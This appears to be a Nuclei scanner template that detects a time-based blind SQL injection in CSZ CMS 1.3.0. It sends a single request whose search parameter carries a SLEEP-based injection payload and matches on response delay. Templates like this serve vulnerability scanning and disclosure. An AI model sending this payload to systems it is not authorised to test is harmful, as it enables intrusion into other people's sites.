id: csz-cms-sqli

info:
  name: CSZ CMS 1.3.0 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    CSZ CMS version 1.3.0 suffers from multiple remote blind SQL injection vulnerabilities.
  reference:
    - https://packetstormsecurity.com/files/167028/CSZ-CMS-1.3.0-SQL-Injection.html
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,packetstorm,sqli,csz,cms,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /csz-cms/plugin/article/search?p=3D1%27%22)%20AND%20(SELECT%203910%20FROM%20(SELECT(SLEEP(6)))qIap)--%20ogLS HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "CSZ CMS")'
        condition: and
# digest: 4a0a0047304502205410c227c2bb584885e2e3fe60440eb6e4f1aead0c2510ed5fcccbbe6f0546d9022100f48e735aef531ae873008e871fa0abadda18a6f076743df19adfc21e68ca0a3c:922c64590222798bb761d5b6d8e72950